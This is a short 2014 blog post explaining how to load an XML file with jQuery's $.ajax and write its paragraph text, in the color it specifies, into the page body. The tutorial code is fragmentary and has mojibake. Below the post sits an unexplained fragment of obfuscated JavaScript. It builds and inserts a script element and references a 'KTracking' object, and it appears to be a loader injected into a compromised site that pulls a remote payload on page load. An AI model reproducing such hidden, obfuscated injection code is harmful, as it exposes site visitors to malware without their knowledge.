Jose Suarez Cordova

May 20, 2014

Read XML using JQuery

Filed under: Uncategorized — Tags: , , — admin @ 8:59 pm

Read a XML file is very useful if we need add dynamic content on web pages, no exactly from Database, just if we have other external resource and display on some DIV or formatting text.

In this example I have a XML file with content for paragraph and the color text for this one, I’ll load the XML and add the new paragraph on body with the text color corresponding.

First one we have to have the XML file (content.xml) correctly like this :


<paragraph><![CDATA[This is a Paragraph]]></paragraph>


Second one, using JQuery load the XML file throughA�$.ajax, like this:

type: "GET",
url: "content.xml",
dataType: "xml",
success: function(xml){
var textcolor = $(xml).find("textcolor").text();
var paragraph = $(xml).find("paragraph").text();

$("body").html("<p style='color:"+textcolor+"'>"+paragraph+"</p>");


As you can see is very simple the use of A�XML files on HTML using JQuery, the A�next time IA?ll try to create a bucle “for” to load a collection data from XML file



  31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Powered by WordPress